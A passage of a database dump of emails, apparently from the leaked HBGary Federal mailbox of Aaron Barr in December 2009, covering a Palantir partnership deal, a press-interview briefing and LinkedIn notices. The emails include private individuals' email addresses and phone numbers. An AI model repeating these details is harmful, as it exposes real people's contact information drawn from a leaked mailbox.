EOP (and potentially many other places).  Please\r\nreturn a redlined copy or a signed agreement.  You’ll notice that\r\nthis is a free deal if the integration is performed within 60 days of signing\r\nthe agreement.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11369,'aaron_hbgary_com/11369.html'),(831,'2009-12-28','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000106.M16932P3547Q831.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ET','HI Aaron, My role on these types of calls usually is to do a quick introduction of exec to reporter,&nbsp;take notes and help with any followup if needed. I usually don\'t&nbsp;interrupt the&nbsp;interview unless the client&nbsp;seems to have trouble answering a question i.e. do you plan to go public, what&nbsp;is your product roadmap for 2010, etc.&nbsp; It sounds like you have&nbsp;good interview experience plus&nbsp;you have a good idea of his questions so you should be fine on your own. It really is just a preference -- some clients like to have the PR people on the phone while others don\'t.&nbsp;Best, Karen\r\n--- On Thu, 12/24/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ETTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, December 24, 2009, 1:48 PM\r\nGreat overview Karen, thank you. &nbsp;Your more than welcome to participate in the call. &nbsp;I can dial you in. &nbsp;I will rely on your judgement here as this is my first official interview. &nbsp;To give &nbsp;you a bit of background, I am usually pretty comfortable in similiar settings, giving speaches, talks, etc. &nbsp; My one thought was does having you one change the dynamic of the interview at all in the positive or negative?\r\n\r\nWhat do you think?\r\n\r\nAaron\r\n\r\n\r\nOn Dec 24, 2009, at 12:19 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Attached is your briefing sheet for your Federal Computer Week phone interview scheduled for Tuesday Dec. 29th at 10 AM ET. You should call John directly -- his phone number is on the briefing sheet. The interview is for Federal Computer Week -- GCN\'s sister publication. Most likely, it will run on both Web sites.\r\n&nbsp;\r\nPlease review the sheet and let me know if you would like to do a quick call with me prior to the interview to review briefing material and answer any questions you may have. Again, if you would like me to be on the call with you and John, please let me know -- I can\'t arrange a three-way call, alas, but perhaps you can.\r\n&nbsp;\r\nThanks again Aaron. Have a wonderful holiday and thanks again for taking the time to do this interview.\r\n&nbsp;\r\nBest, Karen\r\n&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764&nbsp;&lt;FCW Phone Interview 12.29.09.doc&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',13848,'aaron_hbgary_com/13848.html'),(832,'2009-12-28','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000106.M398931P3547Q832.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Palantir partnership','All good answers from Palantir. On Dec 27, 2009, at 4:18 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nOk I think we are ready to sign.AaronFrom my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\n\r\nDate: December 27, 2009 1:17:11 PM CSTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\nComments inline.  I hope your holidays were great.  Im not quite\r\nback in the swing of things but will have email access until I get back on the\r\n3rd.  \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 24, 2009 12:03 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey Matt,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLast minute Christmas shopping consumed my day.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nA few questions and I think we are ready.\r\n\r\n\r\n\r\n\r\n\r\n1.     \r\nThe software licences will allow us to run more than 1\r\n&quot;copy&quot; of the Palantir software?  Reason being is our split\r\nbetween Sacramento and Either DC or Colorado Springs.\r\n\r\nAbsolutely.  You get unlimited test\r\nand development licenses to put wherever you want.  \r\n\r\n\r\n\r\n\r\n\r\n2.     \r\nI know Palantir runs on Oracle.  Will we need to\r\nbuy an oracle license or will the &quot;trial&quot; license work for our\r\npurposes?\r\n\r\nYou got this ¾ correct.  There are\r\nthree “versions” of Palantir.  One is called a QuickStart which\r\nsimply runs on your laptop with a small backend supporting about 10,000\r\nobjects.  QS are what developers will use when they are writing the integration\r\n(it allows for quick iterations on code).  The second version is run on windows\r\nusing a freely available version of Oracle called Oracle XE (express).  This\r\nversion is a little more beefy but still runs on one machine supporting about 4\r\nGB worth of objects.  This is probably the only form of Palantir you will need\r\nto do larger scale tests.  The third version is basically a mirror of our\r\ndeployment setup with a linux server backend and full oracle install.  You will\r\nnot need this build.  \r\n\r\n \r\n\r\nSo the short answer is that all\r\nthree of these versions are available to you through partnership but you will\r\nonly need the QS and Oracle XE installs.\r\n\r\n\r\n\r\n\r\n\r\n3.     \r\nThe video.  That is to be developed by HBGary\r\nFederal?\r\n\r\nYes, this is a simple video made\r\nwith something like Camtasia.  Should be like a few hours of work, maybe less. \r\nWe need this to send to our clients once the integration is complete and to put\r\nup on our website to link to.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).  Please\r\nreturn a redlined copy or a signed agreement.  You’ll notice that\r\nthis is a free deal if the integration is performed within 60 days of signing\r\nthe agreement.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3727,'aaron_hbgary_com/3727.html'),(833,'2009-12-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000106.M650450P3547Q833.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ET','OK. &nbsp;I do like the idea of some feedback. &nbsp;How about I dial you in then and conference the call.AaronOn Dec 27, 2009, at 8:26 PM, Karen Burke wrote:HI Aaron, My role on these types of calls usually is to do a quick introduction of exec to reporter,&nbsp;take notes and help with any followup if needed. I usually don\'t&nbsp;interrupt the&nbsp;interview unless the client&nbsp;seems to have trouble answering a question i.e. do you plan to go public, what&nbsp;is your product roadmap for 2010, etc.&nbsp; It sounds like you have&nbsp;good interview experience plus&nbsp;you have a good idea of his questions so you should be fine on your own. It really is just a preference -- some clients like to have the PR people on the phone while others don\'t.&nbsp;Best, Karen\r\n--- On Thu, 12/24/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ETTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, December 24, 2009, 1:48 PM\r\nGreat overview Karen, thank you. &nbsp;Your more than welcome to participate in the call. &nbsp;I can dial you in. &nbsp;I will rely on your judgement here as this is my first official interview. &nbsp;To give &nbsp;you a bit of background, I am usually pretty comfortable in similiar settings, giving speaches, talks, etc. &nbsp; My one thought was does having you one change the dynamic of the interview at all in the positive or negative?\r\n\r\nWhat do you think?\r\n\r\nAaron\r\n\r\n\r\nOn Dec 24, 2009, at 12:19 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Attached is your briefing sheet for your Federal Computer Week phone interview scheduled for Tuesday Dec. 29th at 10 AM ET. You should call John directly -- his phone number is on the briefing sheet. The interview is for Federal Computer Week -- GCN\'s sister publication. Most likely, it will run on both Web sites.\r\n&nbsp;\r\nPlease review the sheet and let me know if you would like to do a quick call with me prior to the interview to review briefing material and answer any questions you may have. Again, if you would like me to be on the call with you and John, please let me know -- I can\'t arrange a three-way call, alas, but perhaps you can.\r\n&nbsp;\r\nThanks again Aaron. Have a wonderful holiday and thanks again for taking the time to do this interview.\r\n&nbsp;\r\nBest, Karen\r\n&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764&nbsp;&lt;FCW Phone Interview 12.29.09.doc&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12841,'aaron_hbgary_com/12841.html'),(834,'2009-12-28','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000106.M849615P3547Q834.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ET','Perfect -- you can call me at 650-814-3764. Talk to you then! Best, Karen--- On Mon, 12/28/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ETTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, December 28, 2009, 12:49 PM\r\nOK. &nbsp;I do like the idea of some feedback. &nbsp;How about I dial you in then and conference the call.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Dec 27, 2009, at 8:26 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHI Aaron, My role on these types of calls usually is to do a quick introduction of exec to reporter,&nbsp;take notes and help with any followup if needed. I usually don\'t&nbsp;interrupt the&nbsp;interview unless the client&nbsp;seems to have trouble answering a question i.e. do you plan to go public, what&nbsp;is your product roadmap for 2010, etc.&nbsp; It sounds like you have&nbsp;good interview experience plus&nbsp;you have a good idea of his questions so you should be fine on your own. It really is just a preference -- some clients like to have the PR people on the phone while others don\'t.&nbsp;Best, Karen\r\n--- On Thu, 12/24/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Federal Computer Week Phone Interview Briefing Sheet for Tuesday Dec. 29th at 10 AM ETTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, December 24, 2009, 1:48 PM\r\nGreat overview Karen, thank you. &nbsp;Your more than welcome to participate in the call. &nbsp;I can dial you in. &nbsp;I will rely on your judgement here as this is my first official interview. &nbsp;To give &nbsp;you a bit of background, I am usually pretty comfortable in similiar settings, giving speaches, talks, etc. &nbsp; My one thought was does having you one change the dynamic of the interview at all in the positive or negative? \r\n\r\nWhat do you think?\r\n\r\nAaron\r\n\r\n\r\nOn Dec 24, 2009, at 12:19 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Attached is your briefing sheet for your Federal Computer Week phone interview scheduled for Tuesday Dec. 29th at 10 AM ET. You should call John directly -- his phone number is on the briefing sheet. The interview is for Federal Computer Week -- GCN\'s sister publication. Most likely, it will run on both Web sites.\r\n&nbsp;\r\nPlease review the sheet and let me know if you would like to do a quick call with me prior to the interview to review briefing material and answer any questions you may have. Again, if you would like me to be on the call with you and John, please let me know -- I can\'t arrange a three-way call, alas, but perhaps you can.\r\n&nbsp;\r\nThanks again Aaron. Have a wonderful holiday and thanks again for taking the time to do this interview.\r\n&nbsp;\r\nBest, Karen\r\n&nbsp;\r\n&nbsp;\r\nKaren Burke\r\n650-814-3764&nbsp;&lt;FCW Phone Interview 12.29.09.doc&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',16841,'aaron_hbgary_com/16841.html'),(835,'2009-12-28','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297000107.M241415P3547Q836.eml','\"Aaron Barr\" <aaron@hbgary.com>','Katherine Green has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Katherine are now connected.\r\n\r\n \r\n   \r\n   View Katherine\'s profile to:\r\n     \r\n       Download Katherine\'s current contact information\r\n       Write a recommendation for Katherine\r\n       Find opportunities through Katherine\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/24288087/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n',13527,'aaron_hbgary_com/13527.html'),(836,'2009-12-28','\"Lap Truong\" <Lap.Truong@ngc.com>','/aaron@hbgary.com/new/1297000107.M45557P3547Q835.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n\r\n            Lap Truong has indicated you are a Colleague at Northrop Grumman:\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Lap Truong\r\n  \r\n  \r\n  &nbsp;\r\n   \r\n  \r\n    \r\n        \r\n          Accept\r\n        \r\n         \r\n              View invitation from Lap Truong\r\n        \r\n    \r\n  \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  WHY MIGHT CONNECTING WITH LAP TRUONG BE A GOOD IDEA?\r\n  Lap Truong\'s connections could be useful to you After accepting Lap Truong\'s invitation, check Lap Truong\'s connections to see who else you may know and who you might want an introduction to. Building these connections can create opportunities in the future.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',10503,'aaron_hbgary_com/10503.html'),(837,'2009-12-28','\"Katherine Green\" <kgreen5489@verizon.net>','/aaron@hbgary.com/new/1297000107.M539706P3547Q837.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n\r\nKatherine Green has sent you a message.\r\n\r\n\r\n  Date:\r\n  12/28/2009\r\n\r\n\r\n  Subject:\r\n  RE: Join my network on LinkedIn\r\n\r\n\r\n\r\n  Aaron, I am no longer at Abraxas -- I joined Accelligence LLC in September.  KG\r\n\r\n\r\nOn November 25, 2009 9:23 AM, Aaron Barr wrote:\r\n--------------------\r\nKatherine,  I recently left Northrop Grumman where I built some operational capabilities I think abraxas would be interested in.  One of the contracts o built is coming ip for recompete.  Please give me a call to discuss possible teaming opportunities.  7195108478  \r\n- Aaron Barr\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2009, LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',4114,'aaron_hbgary_com/4114.html'),(838,'2009-12-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000107.M741589P3547Q838.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Palantir partnership','Hi Matt,Thanks for response.  Looking forward to 2010.  We are good to go.  If you could change HBGary to HBGary Federal (probably no big deal but just to keep things straight), then I will sign and send back.\r\nAs for holidays, so far so good.Happy Holidays,AaronFrom my iPhoneOn Dec 27, 2009, at 1:17 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nComments inline.  I hope your holidays were great.  Im not quite\r\nback in the swing of things but will have email access until I get back on the\r\n3rd.  \r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 24, 2009 12:03 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHey Matt,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLast minute Christmas shopping consumed my day.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nA few questions and I think we are ready.\r\n\r\n\r\n\r\n\r\n\r\n1.     \r\nThe software licences will allow us to run more than 1\r\n&quot;copy&quot; of the Palantir software?  Reason being is our split\r\nbetween Sacramento and Either DC or Colorado Springs.\r\n\r\nAbsolutely.  You get unlimited test\r\nand development licenses to put wherever you want.  \r\n\r\n\r\n\r\n\r\n\r\n2.     \r\nI know Palantir runs on Oracle.  Will we need to\r\nbuy an oracle license or will the &quot;trial&quot; license work for our\r\npurposes?\r\n\r\nYou got this ¾ correct.  There are\r\nthree “versions” of Palantir.  One is called a QuickStart which\r\nsimply runs on your laptop with a small backend supporting about 10,000\r\nobjects.  QS are what developers will use when they are writing the integration\r\n(it allows for quick iterations on code).  The second version is run on windows\r\nusing a freely available version of Oracle called Oracle XE (express).  This\r\nversion is a little more beefy but still runs on one machine supporting about 4\r\nGB worth of objects.  This is probably the only form of Palantir you will need\r\nto do larger scale tests.  The third version is basically a mirror of our\r\ndeployment setup with a linux server backend and full oracle install.  You will\r\nnot need this build.  \r\n\r\n \r\n\r\nSo the short answer is that all\r\nthree of these versions are available to you through partnership but you will\r\nonly need the QS and Oracle XE installs.\r\n\r\n\r\n\r\n\r\n\r\n3.     \r\nThe video.  That is to be developed by HBGary\r\nFederal?\r\n\r\nYes, this is a simple video made\r\nwith something like Camtasia.  Should be like a few hours of work, maybe less. \r\nWe need this to send to our clients once the integration is complete and to put\r\nup on our website to link to.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAttached is our official partnership paperwork to start\r\nintegration work for EOP (and potentially many other places).  Please\r\nreturn a redlined copy or a signed agreement.  You’ll notice that\r\nthis is a free deal if the integration is performed within 60 days of signing\r\nthe agreement.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLooking forward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14532,'aaron_hbgary_com/14532.html'),(839,'2009-12-29','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000108.M190577P3547Q839.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nName change made.  Once signed we should chat about what the\r\nintegration will look like so your developer has some direction.  Ill bring in\r\nGeoff Stowe (who you&#8217;ve met) for that discussion.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\nMatt\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, December 28, 2009 5:36 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHi Matt,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for response. &nbsp;Looking forward to 2010. &nbsp;We\r\nare good to go. &nbsp;If you could change HBGary to HBGary Federal (probably no\r\nbig deal but just to keep things straight), then I will sign and send back.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs for holidays, so far so good.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHappy Holidays,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 27, 2009, at 1:17 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nComments\r\ninline.&nbsp; I hope your holidays were great.&nbsp; Im not quite back in the\r\nswing of things but will have email access until I get back on the 3rd.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, December 24, 2009 12:03 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey\r\nMatt,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLast\r\nminute Christmas shopping consumed my day.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA\r\nfew questions and I think we are ready.\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The software licences will allow\r\nus to run more than 1 &quot;copy&quot; of the Palantir software? &nbsp;Reason\r\nbeing is our split between Sacramento and Either DC or Colorado Springs.\r\n\r\nAbsolutely.&nbsp; You get unlimited test and development\r\nlicenses to put wherever you want.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I know Palantir runs on Oracle.\r\n&nbsp;Will we need to buy an oracle license or will the &quot;trial&quot;\r\nlicense work for our purposes?\r\n\r\nYou got this ¾ correct.&nbsp; There are three\r\n&#8220;versions&#8221; of Palantir.&nbsp; One is called a QuickStart which\r\nsimply runs on your laptop with a small backend supporting about 10,000\r\nobjects.&nbsp; QS are what developers will use when they are writing the\r\nintegration (it allows for quick iterations on code).&nbsp; The second version\r\nis run on windows using a freely available version of Oracle called Oracle XE\r\n(express).&nbsp; This version is a little more beefy but still runs on one\r\nmachine supporting about 4 GB worth of objects.&nbsp; This is probably the only\r\nform of Palantir you will need to do larger scale tests.&nbsp; The third\r\nversion is basically a mirror of our deployment setup with a linux server\r\nbackend and full oracle install.&nbsp; You will not need this build.&nbsp; \r\n\r\n&nbsp;\r\n\r\nSo the short answer is that all three of these versions are\r\navailable to you through partnership but you will only need the QS and Oracle\r\nXE installs.\r\n\r\n\r\n\r\n\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The video. &nbsp;That is to be\r\ndeveloped by HBGary Federal?\r\n\r\nYes, this is a simple video made with something like\r\nCamtasia.&nbsp; Should be like a few hours of work, maybe less.&nbsp; We need\r\nthis to send to our clients once the integration is complete and to put up on\r\nour website to link to.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nDec 21, 2009, at 6:01 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached\r\nis our official partnership paperwork to start integration work for EOP (and\r\npotentially many other places).&nbsp; Please return a redlined copy or a signed\r\nagreement. &nbsp;You&#8217;ll notice that this is a free deal if the\r\nintegration is performed within 60 days of signing the agreement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking\r\nforward to working with you guys.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Matt\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMatthew\r\nSteckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;P3\r\nHBGary.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11297,'aaron_hbgary_com/11297.html'),(840,'2009-12-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000109.M178395P3547Q840.eml','\"Aaron Barr\" <adbarr@mac.com>','Palantir','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14308,'aaron_hbgary_com/14308.html'),(841,'2009-12-29','\"Aaron Barr\" 